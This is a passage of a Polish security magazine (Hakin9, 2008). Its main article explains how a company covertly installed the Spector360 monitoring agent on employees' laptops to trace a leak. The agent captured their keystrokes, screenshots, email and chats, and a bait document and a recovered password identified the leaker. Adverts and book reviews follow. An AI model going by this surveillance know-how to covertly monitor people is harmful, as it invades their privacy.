mechanizmu kopiuj-wklej w Windows. Jedynie

Stopień trudności

Śledztwo

elektroniczne

Liczba zagrożeń pochodzących z sieci Internet, które mogłyby

wpłynąć negatywnie na wizerunek firmy, z roku na rok się

powiększa. Warto również zauważyć, że ślady po takich

zdarzeniach mają wspólną cechę – nie wiadomo, kto i jak to

zrobił.

background image

67

ŚLEDZTWO ELEKTRONICZNE

HAKIN9

9/2008

obserwacja na poziomie użytkownika
pozwoliłaby prześledzić taki incydent – to
jedyne miejsce, gdzie wszystko widać.

Na łamach Hakin9 pisaliśmy już o

platformach śledczych typu NetWitness
czy EnCase Enterprise, które zajmowały się
analizą ruchu sieciowego i gromadzeniem
dowodów elektronicznych na poziomie
serwerów i stacji roboczych. Informatyka
śledcza dostarcza również inny rodzaj
platform, opierający się o bezpośrednią
analizę zachowań użytkownika stacji, zbliżoną
do monitoringu wizualnego w skali Enterprise.

Zadaniem takich platform jest

gromadzenie materiału na temat
uruchamianych programów, wprowadzanego
tekstu, przesyłanych wiadomości email,
przetwarzanych dokumentów oraz wielu
innych czynności wykonywanych przez
pracowników na komputerach firmowych.
Zapisane na tej podstawie informacje
umożliwiają przeprowadzenie analiz, które
pozwolą określić punkt wycieku informacji.
Dzięki temu możliwe jest zgromadzenie
dowodów nielojalności – nawet w znaczeniu
procesowym – oraz zmniejszenie strat
organizacji.

Spełnienie wymogów informatyki

śledczej w zakresie takich narzędzi wiąże
się z koniecznością gromadzenia materiału
w sposób bezpieczny, niezauważalny i nie
obciążający, zarówno z punktu widzenia stacji,
jak i ruchu sieciowego. Wartość dowodowa
wymaga, aby materiał był zapisywany
w trybie read-only, zgodnie z zasadą
widzę wszystko, nie zmieniam nic. Zakres
gromadzonych informacji ze stacji roboczej
objętej monitorowaniem powinien ograniczać
się do poszczególnych usług, np. poczty
internetowej, komunikatorów czy np. plików
przesyłanych za pomocą protokołu FTP.

Spector360

Niejako wzorcowym rozwiązaniem
spełniającym takie kryteria jest Spector360.
Wieloelementowa architektura odpowiada
za bezpieczeństwo dostępu i niezmienność
zapisanych informacji w rozumieniu
informatyki śledczej. Platforma pracuje
w relacji klient-serwer. Sam klient nie jest
widoczny dla użytkownika pracującego na
monitorowanym komputerze. Użytkownik
nie posiada możliwości jego wyłączenia
czy też odinstalowania. Pozostałe trzy
elementy umożliwiają przechwytywanie,
segregowanie i gromadzenie danych

przesłanych przez monitorowane
komputery (Rysunek 1).

Data Vault SQL Server & Database

– odpowiada za przechwytywanie informacji
wysyłanych z monitorowanych komputerów.
Data Vault pozwala na zdefiniowanie udziałów
dyskowych, które będą wykorzystane w celu
gromadzenia takich danych, jak: zrzuty pulpitu,
załączniki przesyłane w wiadomościach email
czy pliki przenoszone pomiędzy udziałami
dyskowymi bądź różnymi usługami.

Control Center – odpowiada za

konfigurację, zarządzanie oraz instalację
agentów, którzy mają pracować dla nas na
wybranych komputerach. Aplikacja pozwala
na realizację wszelkich operacji związanych
z agentem pracującym na monitorowanym
komputerze (Rysunek 2).

Dashboard – jest konsolą śledczą

pozwalającą na analizę zgromadzonych
danych poprzez wykorzystanie
następujących opcji:

Quick View, czyli szybkie przeglądanie

zebranych zdarzeń dotyczących
wykorzystania sieci komputerowej,
programów, dokumentów bądź innych
czynności mających miejsce na
monitorowanych komputerach.

Data Explorer – dzięki tej opcji można

przeglądnąć dane zgromadzonych w
bazie.

User Explorer – to kontrolka

umożliwiająca przeprowadzenie śledztwa,
sprawdzenie, co dokładnie wykonywał
wybrany użytkownik pracujący na
monitorowanym komputerze.

Reports – tworzenie raportów na temat

działalności użytkowników, wybranych
programów działających na określonych
komputerach, wprowadzanych znaków
oraz wielu innych zdarzeń, jakie rejestruje
agent na monitorowanym komputerze.

Search – kontrolka pozwalająca na

przeszukiwanie danych zgromadzonych
w SQL Server & Database pod kątem
ściśle określonych zdarzeń, które mogą
wydawać się podejrzane.

Management – pozwala na

zarządzanie elementami wchodzącymi
w skład programu Spector360. Jedną
z ważniejszych funkcji tej kontrolki jest
możliwość zarządzania usługą Web
Filter Server
(Rysunek 3).

Śledztwo

Jedna z większych polskich firm IT miała
problemy z regularnymi wyciekami
informacji z jednego z serwerów. Wstępne
dochodzenie pozwoliło określić podejrzaną
grupę w obrębie użytkowników mobilnych,
których komputery nie funkcjonowały na
co dzień w firmowej sieci komputerowej.
W celu korzystania z zasobów firmowych
mobilni pracownicy łączyli się za pomocą
bramek VPN do sieci komputerowej. Zasoby
te dostępne były w wyłącznie w trybie do
odczytu, bez możliwości kopiowania. Aby
określić mechanizm wypływu, konieczne
było pozyskanie informacji związanych
z przetwarzaniem tych dokumentów na
podejrzanych komputerach (wykrycie
mechanizmu kopiowania, metod przekazu
lub wydruku dokumentów). Podejrzewano,

Baza

danych

SQL Server & Database

Data Vault

Primary Server

Analiza – Zarządzanie

Konfiguracja

Dashboard

Conrol Center

Komputery monitorowane

Konfiguracja

Zareje

strowane

zdarzenia

Rysunek 1.

Widok poglądowy sieci

background image

BEZPIECZNA FIRMA

68

HAKIN9 9/2008

ŚLEDZTWO ELEKTRONICZNE

69

HAKIN9

9/2008

iż jeden z pracowników udostępnia dane
konkurencji, drukując dokumenty – jednak
ukryte badanie w ramach usług help-
deskowych
nie potwierdziło żadnych śladów
takich działań.

Wszystkie te czynniki złożyły się na

konieczność zastosowania rozwiązania
dedykowanego. Instalacji klientów
Spector360 na wybranej grupie
komputerów przenośnych dokonano,
podczas gdy pracownicy mobilni podłączali
swoje komputery do sieci firmowej. Co
ważne, wszelkie czynności związane z

instalacją nie były widoczne ani odczuwalne
dla użytkownika. W międzyczasie
opublikowano w ramach kampanii nowy
dokument, zawierający pewne istotne
informacje, mający stanowić swego rodzaju
przynętę dla nielojalnego pracownika.

Dochodzenie można przeprowadzać

bezpośrednio po przesłaniu danych do
usługi Data Vault. Proces ten nazywany
jest monitorowaniem, ponieważ agent
nadzoruje czynności użytkownika w celu
przechwycenia interesujących go zdarzeń.
Platforma za pomocą swojego klienta może

monitorować, a następnie rejestrować takie
czynności użytkowników, jak:

• czas związany z logowaniem się

na komputerze oraz aktywnością
pracownika,

• aktywność oprogramowania, które

jest uruchamiane przez użytkownika
podczas sesji,

• dane na temat stron WWW

odwiedzanych za pomocą
przeglądarek internetowych oraz
wyszukiwanych dzięki nim informacji,

• wszelkie dane związane z obsługą

poczty internetowej – niezależnie
od tego, czy użytkownik korzysta
z programu pocztowego
zainstalowanego na monitorowanej
jednostce, czy z interfejsu WWW,

• aktywność sieciowa użytkownika –

wszelkie informacje na temat połączeń
sieciowych dokonywanych podczas
sesji, realizowanych za pomocą
różnego oprogramowania bądź przez
sam system operacyjny,

• informacje związane z transferem plików,

FTP, różnego rodzaju formularzami
WWW, udziałami sieciowymi,

• wszelkie informacje związane z

przetwarzaniem dokumentów:
tworzenie dokumentu, zmiana treści,
kasowanie, zmiana nazwy, kopiowanie
na urządzenia przenośne bądź udziały
sieciowe, przesyłanie dokumentów za
pośrednictwem poczty internetowej lub
innych usług działających w sieci oraz
drukowanie dokumentów,

• przechwytywanie wprowadzanych z

klawiatury znaków.

Następnym krokiem jest analiza zebranych
danych, które zostały zgromadzone w
postaci znaków wpisywanych z klawiatury,
zrzutów ekranów, plików oraz informacji o
zdarzeniach, jakie miały miejsce podczas
pracy użytkownika. Analizę można
przeprowadzać na kilka sposobów, np.:
poprzez przegląd zgromadzonych informacji
według użytkowników, komputerów, usług
bądź innych kryteriów. Po przeprowadzeniu
analizy oraz zebraniu wystarczającej ilości
dowodów tworzy się raport zawierający
wszelkie informacje dotyczące czynności
wykonanych przez użytkownika. Raport
może również zawierać informacje w
postaci zapisu poszczególnych czynności,

Rysunek 3.

Dashborad

Rysunek 2.

Aplikacja Control Center

background image

BEZPIECZNA FIRMA

68

HAKIN9 9/2008

ŚLEDZTWO ELEKTRONICZNE

69

HAKIN9

9/2008

jakie wykonywał użytkownik, zrzutów ekranów
odpowiadających określonym operacjom
oraz treści bądź plików, które są obiektem
incydentu.

Przedział czasu pomiędzy

zarejestrowanym zdarzeniem a reakcją
na incydent może być różny. Jest to
spowodowane sposobem, w jaki dane
spływają do bazy danych. W przypadku
komputerów przenośnych, które używane
są przez pracowników poza siedzibą firmy,
wszystkie zdarzenia, jakie ma monitorować
klient, są rejestrowane i przechowywane
na twardym dysku komputera. Pracownik
nie ma dostępu do tych zapisów, nie
może ich skasować bądź zmodyfikować.
Po podłączeniu komputera przenośnego
do sieci, w której działają usługi platformy
Spector, dane zostają automatycznie
przesyłane i mogą zostać poddane analizie
przez osoby upoważnione do tych czynności.

Zgodnie z przewidywaniami incydent

wystąpił. Po kilku dniach pracy użytkowników
na komputerach przenośnych i ponownym
ich włączeniu się do sieci, udało się
zgromadzić wystarczającą ilość materiału
niezbędnego do przeprowadzenia analizy.

Ze względu na nieznajomość

mechanizmu wycieku oraz z uwagi na ilość
materiału analizę podzielono na etapy. W
pierwszej fazie zbadano oprogramowanie,
które wykorzystywane było w codziennej
pracy użytkowników. Faza ta pozwoliła na
stworzenie historii aktywności pracowników.
Uzyskano następujące informacje:

• Jakie programy były uruchamiane w

czasie pomiędzy publikacją dokumentu
a incydentem.

• Ile czasu użytkownicy poświęcili na

obsługę danego programu.

• Jakiego rodzaju aplikacją był badany

program i w jakim celu został
wykorzystany.

• Jaką aktywność sieciową

wygenerował program – wydzielono
informacje związane z połączeniami
wykonywanymi przez oprogramowanie

(ustalenie, dokąd aplikacja dokonywała
połączenia oraz z jakiego rodzaju
usługą nastąpiło połączenie).

Analiza ujawniła cały szereg
nieprawidłowości. Największe podejrzenie
padło na oprogramowanie służące

Rysunek 5.

Krok 1

Rysunek 6.

Krok 2

W Sieci

http://www.mediarecovery.pl,
http://www.forensictools.pl,
http://www.spectorsoft.com,
http://www.guidancesoftware.com.

Rysunek 4.

Incydent

��

���

��

��

��

��

�������

�����

��

��

���

background image

BEZPIECZNA FIRMA

70

HAKIN9 9/2008

do przeprowadzania rozmów w sieci
Internet. Wychwycono komunikator
nie zainstalowany na analizowanym
komputerze, lecz uruchamiany za
pomocą przeglądarki internetowej
oraz wykryto pracownika, który używał
prywatnej skrzynki pocztowej, co – jak
wynika z informacji otrzymanej z działu
IT – nie było zgodne z zasadami
obowiązującej polityki bezpieczeństwa
(Rysunek 5).

Ten etap pozwolił zawęzić ilość

podejrzanych maszyn poprzez wykluczenie
użytkowników, którzy nie mieli możliwości
przekazania informacji, a także wytypować
dwóch najbardziej podejrzanych
pracowników. Aby nie zawęzić nadmiernie
śledztwa, dalszej analizie poddano
wszystkie pozostałe komputery. Ten etap
obejmował już bardziej szczegółowe
analizy obejmujące informacje,
jakie zostały pobrane, wysłane bądź
przetworzone za pomocą wytypowanego
oprogramowania wykorzystywanego na
komputerach poddanych monitorowaniu.
Przeanalizowano przeglądarki internetowe,
komunikatory oraz oprogramowanie do
zarządzania wiadomościami email. Dane
które podlegały analizie:

• Informacje wprowadzane przez

użytkowników za pomocą klawiatury.

• Dane wysłane bądź odebrane przez

oprogramowanie.

Podstawą takich analiz są tzw. słowa-klucze
(keywords), czyli odpowiednio dobrane,
unikalne wyrazy (słowem kluczem jest
np. wyraz Mediarecovery, a nie jest nim
wyraz ale). Odpowiedni dobór słów-kluczy
gwarantuje wyszukanie interesujących nas
informacji, a co za tym idzie – odrzucenie
często bardzo dużej ilości zbędnych
danych, które wymagałyby dużej ilości
czasu do przeanalizowania.

W tym przypadku użyte słowa-klucze

pochodziły ze spreparowanej kampanii. Ich
wystąpienia pojawiły się u kilku użytkowników
głównie w dwóch kategoriach: email oraz
keystore. Ze względu na charakter pracy
niektórych osób nie wszystkie te wystąpienia
musiały być nieprawidłowe. Jednak po
przeprowadzeniu głębszej analizy wykryto:

• Przeprowadzoną za pomocą programu

WebGG rozmowę zawierającą jedno
bądź więcej słów kluczy.

• Wysyłane wiadomości email poprzez

prywatną skrzynkę – wraz z załącznikami;
treść wiadomości (Rysunek 6).

Informacje te potwierdziły pierwotne
przypuszczenia. W kolejnym kroku
pozostawiono już tylko dwóch podejrzanych.
Na trzecim etapie zbadano wszelkie
informacje związane z przetwarzaniem
dokumentów przez pracowników na
monitorowanych komputerach. Czynności,
które zostały objęte analizą:

• Tworzenie, usuwanie, zmiana nazwy

dokumentu.

• Zmiana treści, kopiowanie zawartości.
• Rotacja plików pomiędzy urządzeniami.
• Drukowanie dokumentów.

Zgromadzony materiał pozwolił wykazać, że
jeden z użytkowników przesyłał za pomocą
prywatnej skrzynki email plik o rozszerzeniu
xls. Plik ten zawierał zrzut ekranu
interesującego nas dokumentu. Dodatkowo
był chroniony hasłem, które pozyskano z
zapisu tekstu wprowadzanego z klawiatury.
Po wysłaniu wiadomość była kasowana
ze skrzynki elementów wysłanych przez
pracownika (Rysunek 7).

Podsumowanie

W świecie, w którym 90% informacji
porusza się elektronicznie, niezwykle łatwo
jest przekazać na zewnątrz dane, które nie
powinny opuścić organizacji. Wykorzystanie
prostych mechanizmów – w normalnych
warunkach – pozwala na całkowite
maskowanie się nieuczciwego pracownika.
Dlatego też tak istotne jest wdrożenie
odpowiednich procedur i rozwiązań
technicznych. Omówiony w powyższym
artykule przykład z zastosowaniem
platformy informatyki śledczej pokazuje,
jak można sobie poradzić z takimi
przypadkami nielojalności.

Wartością dodaną w przypadku

takich rozwiązań jest możliwość
zastosowania zgromadzonego materiału
np. w wyszkoleniu nowego pracownika,
poprawianiu jego błędów bądź
usprawnieniu metodologii wykonywanych
czynności. Używając zaimplementowanych
mechanizmów można zapewnić firmie
kontrolę nad wydajnością pracy i
proaktywnie zapobiegać ewentualnym
naruszeniom zasad bezpieczeństwa
informacji również poprzez definiowanie
alertów pozwalających na informowanie
odpowiednich osób zajmujących się
bezpieczeństwem o niepożądanych
zdarzeniach bądź czynnościach
wykonanych przez użytkownika.

O autorze

Piotr Faj jest specjalistą w laboratorium informatyki

śledczej Mediarecovery. Zapalony miłośnik zagadnień

bezpieczeństwa i oprogramowania z rodziny open

source. Specjalista analizy powłamaniowej. Wydajnością

pracy wielozadaniowej potrafi powalić nawet Pentium

Core 2 Duo.

Kontakt z autorem: pfaj@mediarecovery.pl

Rysunek 7.

Krok 3

background image

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
usługi oparte o rozwiązania systemu
CashBill.pl i są to: organizacja kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii
reklamowych serwisów internetowych,
system płatności elektronicznych po-
przez karty płatnicze i przelewy. Prócz
wymienionych usług oferujemy także
budowę stron www, sprzedaż domen
oraz pozycjonowanie w wyszukiwar-
kach. Zapraszamy do współpracy.

TTS Company Sp. z o.o.

Sprzedaż i dystrybucja oprogramowania
komputerowego. Import programów na
zamówienie. Ponad 200 producentów w
standardowej ofercie.
Chcesz kupić oprogramowanie i nie mo-
żesz znaleźć polskiego dostawcy?
Skontaktuj się z nami - sprowadzimy na-
wet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

www.ccns.pl

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezenta-
cji multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsorcin-
gowe dla dużych firm z zakresu infor-
matyki i telekomunikacji. Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

kontakt do nas:

katarzyna.juszczynska@software.com.pl,

robert.gontarski@software.com.pl

tel.: 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl działa na rynku usług hostingo-
wych od 2000 roku. Do naszych za-
dowolonych Klientów z dumą możemy
zaliczyć wiele przedsiębiorstw sektora
MSP, instytucji oraz osób prywatnych.
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych Użytkowników – platformy e-Biz-
nes oraz serwery fizyczne.

www.kei.pl

Sokra-NET

Działa od roku 2002, specjalizuje się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi klien-
tami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy testy penetracyjne, ana-
lizy kodów źródłowych, testy wydajno-
ściowe aplikacji i ich środowisk telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa. Wspomagamy naszych
partnerów merytorycznie.

www.sokra.net

Sokra-NET

background image

72

HAKIN9 9/2008

Podczas wielu lat rozwoju sieci lokalnych
wykształtowała się luka w warstwie
dostępowej. Małe i średnie firmy były
skazane na przełączniki niezarządzane
lub przełączniki, których funkcje w dużej
części były niewykorzystywane. Dodatkowo
zarządzanie przez linię poleceń wymagało
od klienta wiedzy, której często nie posiadał.
Małe i średnie firmy wymagają, aby
infrastruktura wspierała określone aplikacje
wykorzystywane w organizacji. W tym
przypadku klasyfikacja przełączników
powinna odbywać się na podstawie
funkcjonalności, która często wychodzi
poza ramy konkretnej warstwy modelu OSI.
Aplikacje wykorzystujące do komunikacji
ludzki głos nie mogą obyć się bez wsparcia
ze strony infrastruktury sieciowej. To właśnie
ten sposób komunikacji jest jednym z
najbardziej wymagających. I niekoniecznie
chodzi tutaj o gwarancję dostępnego
pasma, ale o wsparcie w postaci
priorytetyzacji danej aplikacji na tle innych

Be Smart

Buy Smart

Przełączniki z serii ProSafe Smart stanowią alternatywę dla w pełni zarządzanych,

klasycznych przełączników warstwy 2. Przełączniki te pozbawione zbytniej złożoności

dostarczają Klientowi funkcje typowe, dla przełączników zarządzanych, a dzięki temu

pozbawione są dodatkowego kosztu.

równie ważnych, ale bardziej odpornych na
opóźnienia czy też utratę pakietów.
Dobrym tego przykładem jest Telefonia IP,
która wymaga klasyfikacji generowanego
przez siebie ruchu w warstwie dostępowej. W
tym wypadku zostanie przypisany pakietowi
IP priorytet charakterystyczny dla warstwy
drugiej lub warty trzeciej modelu OSI.
Przełączniki z serii Smart dostarczają w
zależności od konfiguracji od 4 do 8 kolejek
na port oraz wsparcie w warstwie 2/3/4.

NARZĘDZIA DLA FIRM

Dodatkowo znacznym udogodnieniem
jest funkcja Auto-Voice VLAN pozwalająca
na utworzenie dedykowanego VLANu dla
portu z podłączonym telefonem IP
Bardzo interesującą funkcją jest
statyczny routing, który znajdziemy w
przełącznikach GS724TR oraz GS748TR.
Daje on możliwość utworzenia 32
statycznych wpisów a dzięki temu możemy
„routować” ruch pomiędzy VLANami
oraz efektywnie zarządzać dostępną

Need for control

1-5

5-20

20-100

100-200

200+

Smart Switches

Managed Switches

Complete control

Complex configuration

CLI, Web management

Unmanged Switches

Basic connectivity

No configuration

background image

73

HAKIN9

9/2008

przepustowością poprzez ograniczenie
burzy rozgłoszeniowej.
Jeśli chodzi o aspekty bezpieczeństwa to i
te nie są obce przełącznikom z serii Smart.
Jak wiemy zabezpieczenie infrastruktury
sieciowej ma znaczenie krytyczne dla
działania każdej organizacji. Przełączniki
z serii Smart zapewniają kontrolę na

poziomie dostępu do portu (802.1x) czy też
tworzenie list dostępu ACL. Możliwa jest
również autentykacja za pomocą serwera
TACACS+ czy Radius.
Również w zarządzaniu przełącznikami
z serii Smart dokonano pewnych zmian.
Zrezygnowano z zarządzania za pomocą
konsoli często nieużywanej w małych

organizacjach, a pozostawiono protokół
SNMP w wersji 1/2c/3. Dzięki temu
małe organizacje nie ponoszą kosztu
nadmiarowego sposobu zarządzania
przełącznikiem a duże, które wykorzystują
niezależne aplikacje zarządzające nie
odczuwają ograniczeń.
W zależności od konfiguracji dostępne są
również przełączniki (GS724TS, GS748TS) z
dedykowanym interfejsem umożliwiającym
łączenie ich w stos. Nie jest to łączenie
w „stos”, które było charakterystyczne dla
starszych przełączników warstwy 2, czyli
łączenie przełączników poprzez port uplink.
Dedykowany interfejs daje możliwość
przesłania w jedną stronę 20Gb danych w
ciągu 1 sekundy. Po zamknięciu pierścienia
dostępna przepustowość wynosi, 40
Gb/s. Dodatkową zaletą wykorzystania
połączenia jest jeden, wspólny interfejs
WWW dla wszystkich urządzeń pracujących
w stosie. Dedykowany interfejs znajduje się
na tylnym panelu obudowy przełącznika
a dzięki temu nie wpływa na ułożenie
okablowania strukturalnego.
Na koniec warto wspomnieć o
niezawodności oraz wieczystej gwarancji.
Aby zmierzyć niezawodność danego
urządzenia należy wyznaczyć jego MTBF
(ang. Mean Time Between Failures), czyli
czas bezawaryjnej pracy. W przypadku
przełączników z serii ProSafe czas
bezawaryjnej pracy w zależności od
konfiguracji dochodzi do 37 lat. Jak łatwo
zauważyć czas ten, znacznie przewyższa
średni cykl życia tego typu rozwiązania.
Świadectwem wysokiej bezawaryjności
jest również wieczysta gwarancją, którą
są objęte wszystkie przełączniki z serii
ProSafe. Również elementy najczęściej
ulegające awarii typu wentylatory czy też
zasilacze objęte są wieczystą gwarancją
producenta.

Kontakt

NETGEAR POLAND sp. z o.o.
Al. Jerozolimskie 65/79
00-697 Warszawa
e-mail: sales_pl@netgear.com
tel. 022 630 66 40

NETGEAR GS724TR

NETGEAR GS748TR

Cena End User

$649

$1169

Konfiguracja

24 x 1Gb/s BaseT,

2 x SFP Combo

48 x 1Gb/s BaseT,

4 x SFP Combo

Zarządzanie

LLDP Discovery

Y

Y

SNMP

v1/2/3

V1/2/3

WWW

Y

Y

Bezpieczeństwo

VLAN

Y

Y

802.1x

Y

Y

ACLs

Y

Y

Quality of Service

Liczba kolejek

8

8

QoS

Layer 2/3/4

Layer 2/3/4

Ograniczenie pasma

Y

Y

Auto Voice VLAN

Y

Y

Skalowalność

Rapid Spanning Tree

Y

Y

IGMP Snooping

Y

Y

Funkcje zaawansowane

Static Routing

Y

Y

IGMP Querier

Y

Y

Gwarancja

Wieczysta

Wieczysta

BE SMART BUY SMART

background image

74

KSIĄŻKI

HAKIN9 9/2008

Biometria.

Tajemnica-Atak-Obrona

Autorzy książki są uznanymi ekspertami
w dziedzinie biometrii. Pracują
w Thomas J. Watson Research

Center przy IBM i biometria należy do ich zadań
zawodowych – a dokładniej: analiza systemów
biometrycznych, badania nad przetwarzaniem
obrazów wideo, identyfikacja biometryczna,
rozpoznawanie wzorców i inne.

Książka stanowi kompendium wiedzy w

dziedzinie biometrii. Mając na uwadze fakt,
że to stosunkowo młoda dziedzina nauki, ale
dynamicznie się rozwijająca, pozycja stanowi
kompletne źródło wiedzy dla osób pragnących
zgłębić tajniki inżynierii biometrycznej.

Książka jest podzielona na 4 niezależne

od siebie rozdziały. Sprawia to, że może być
adresowana zarówno do studentów chcących
poznać podstawy systemów biometrycznych, jak
i do osób szukających konkretnych rozwiązań,
a także zajmujących się analizą i opisem
matematycznym systemów biometrycznych.

Część I – Czytelnik znajdzie tu teorię

dotyczącą podstaw systemów biometrycznych.
Z tego rozdziału dowie się on, że każdy człowiek
posiada biometryki fizjologiczne oraz biometryki
behawioralne. Przykłady biometryk fizjologicznych
to m.in. odcisk palca, geometria dłoni, obraz
tęczówki oka. Z kolei biometryki fizjologiczne to
m.in. podpis, głos czy chód człowieka. Cechy
biometryczne muszą spełniać pewne kryteria
– jak trwałość, jednoznaczność czy ściągalność.
Systemy uwierzytelniania można podzielić na 3
grupy: z użyciem fizycznych środków do identyfikacji
(np. klucz, karta magnetyczna lub chipowa),
wykorzystujące wiedzę osób uwierzytelnianych (np.
hasło czy odpowiedź na pytanie) oraz biometryki.
Wymagania systemu identyfikacji odnoszą się do
dokładności, szybkości obliczeń, obsługi wyjątków
oraz kosztu systemu. Znajdziemy w tej części także
opis typowego procesu identyfikacji biometrycznej,
a także informacje o tym, jak są przechowywane
wzorcowe dane biometryczne, dowiemy się,
jak następuje komparacja wzorca z próbką i
przeczytamy opis popularnych biometryk.

Część II zawiera zalecenia co do biometrycznych

systemów uwierzytelniania. Projektując system
wykorzystujący określoną biometrykę, musimy
liczyć się z tym, że nie jest on idealny i w pewnych
sytuacjach może popełniać pomyłki. Te błędy to
niesłuszna zgodność oraz niesłuszna niezgodność.
W praktyce zawsze wskaźniki te będą mieć
niezerowe wartości. Jeżeli uwierzytelniamy się w

systemie hasłem, może ono zostać przekazane albo
skradzione, w przypadku systemu biometrycznego
mamy dowód, że dana osoba rzeczywiście była
obecna – choć z pewnym prawdopodobieństwem.
Ten rozdział skupia się na błędach systemów,
sposobach ich oszacowania oraz na wybraniu
kompromisu między bezpieczeństwem systemu
a kosztami. Czytelnik dowie się także, że aby
biometryczny system identyfikacji uzyskał pełną
gotowość do pracy, trzeba go najpierw wytrenować
w odpowiedniej populacji osobników.

Część III – rozdział ten skupia się na omówieniu

bazy danych biometrycznych wraz z jej cechami. W
systemach uwierzytelniania dużej ważności zwykle
nie wystarcza korzystanie z 1 biometryki. W takich
przypadkach budowane są systemy korzystające
z kilku biometryk lub z biometryki i informacji
dodatkowych. Konieczne jest zatem łączenie
informacji o uwierzytelnianej osobie pochodzącej
z kilku źródeł, a następnie filtrowanie, kubełkowanie
i porównywanie próbek z wzorcami w bazie
danych. Czytelnik zostaje uświadomiony, że aby
system mógł zacząć funkcjonować, konieczne jest
zarejestrowanie wyborców. Dodatkowo podczas
rejestracji należy zadbać o odpowiednią jakość
próbki wzorca. W rozdziale tym w celu opisania
występujących zjawisk i problemów autorzy musieli
zastosować zaawansowany aparat matematyczny.
Pod koniec tej części można znaleźć analizę
podatności systemów biometrycznych na ataki
oraz możliwości nadużyć w tych systemach.

Część IV jest adresowana do znawców tematu

– co krok natykamy się tu na skomplikowane
wzory i oszacowania. Wykorzystywana jest analiza
statystyczna systemów biometrycznych. Czytelnik
natknie się tu m.in. na standardy dowodów
sądowych.
Biometria to fascynująca nauka i na pewno
zasługuje na uwagę. Niewątpliwie systemy
biometryczne będą intensywnie wykorzystywane
w najbliższej przyszłości. Przemawia za tym wiele
zalet, m.in. fakt, że gdy do uwierzytelnienia służy
biometryka, użytkownik zostaje odciążony od
konieczności pamiętania haseł. Aby system działał
prawidłowo, należy spełnić kilka wymagań, m.in.
zapewnić zbieranie dobrej jakości próbek. Argument
przeciw to naruszenie prywatności użytkowników
oraz spory natury prawnej. Poza tym baza
wyborców musi być wystarczająco silnie chroniona.
Zawsze należy jednak pamiętać, że nawet system
uwierzytelniania wykorzystujący wiele biometryk nie
jest w stanie zapewnić 100 % identyfikacji wzorca.

Autorzy: Ruud M. Bolle, Jonathan

H. Connell, Sharath Pankanti,

Nalini K. Ratha, Andrew W. Senior

Wydawca: WNT, Warszawa

Rok wydania w Polsce: 2008

Liczba stron: 408

Recenzent: Rafał Lysik

Ocena: 5

background image

75

KSIĘGOZBIÓR

HAKIN9

9/2008

Analiza Ryzyka i Ochrona

Informacji w Systemach Komputerowych

Krzysztof Liderman jest uznanym
autorem wśród twórców książek
związanych z bezpieczeństwem

komputerowym. Popularność zyskał sobie
dzięki książce Podręcznik Administratora
bezpieczeństwa teleinformatycznego. Co
znajdziemy w Analizie Ryzyka? Zobaczmy...

Przede wszystkim książka jest bardzo

dobrze podzielona na kilka logicznie
wyodrębnionych części. Zaczynamy od
ogólników na temat informacji, bezpieczeństwa
i systemu ochrony – gdzie poznamy nieco
terminologii związanej z tematem – po czym
dowiemy się trochę o procesach biznesowych.
Kolejna kwestia poruszana przez autora
to inwentaryzacja i klasyfikacja zasobów
– nauczymy się tutaj oceniać ich wartość.
Bardzo ważnym rozdziałem jest ten o
zagrożeniach i podatnościach. Wiedząc, na
co jesteśmy narażeni, będziemy mogli lepiej
temu przeciwdziałać. Przeczytamy także o
pomiarach bezpieczeństwa teleinformatycznego
– jak je mierzyć i jak interpretować wyniki
– a następnie, po analizie, przejdziemy już
do ryzyka i zarządzania nim. Jest to chyba
najważniejsza część książki, na która warto
zwrócić szczególną uwagę. Po przebrnięciu
przez nią zapoznamy się z testowaniem oraz
audytami i certyfikowaniem. Ostatnie dwa działy

poświęcono standardom (autor zamieścił tutaj
informacje między innymi o wymaganiach
normy PN-ISO/IEC 27001:2007) i projektowaniu.
Na koniec możemy przeczytać załącznik, który
traktuje o autorskiej metodyce L-RAC analizy i
kontrolowania ryzyka w zakresie bezpieczeństwa
teleinformatycznego. Jej najważniejszą cechą
jest jednolity z przyjętym w metodyce audytu
bezpieczeństwa teleinformatycznego LP-A
standard opisu oraz pokazanie związków z
zapisami normy PN-ISO/IEC 27001:2007.
Zauważmy także, że wspomniana metodyka
może zostać zastosowana także w innych
przypadkach, jak np. bezpieczeństwo
energetyczne, bezpieczeństwo transportu
cennych ładunków itp.

Kto skorzysta na przeczytaniu tej

książki? Z pewnością osoby odpowiadające
za bezpieczeństwo, administratorzy
bezpieczeństwa, administratorzy systemów,
pełnomocnicy ds. bezpieczeństwa, kierownicy
działów teleinformatyki. Nic jednak nie stoi
na przeszkodzie, aby przeczytały ją także
osoby, które interesują się tym tematem i
chciałyby się nieco nauczyć o analizie ryzyka i
ochronie informacji. Wydawca poleca książkę
również studentom mającym w programie
studiów kursy powiązane z bezpieczeństwem
teleinformatycznym.

Autor: Krzysztof Liderman

Wydawca: PWN

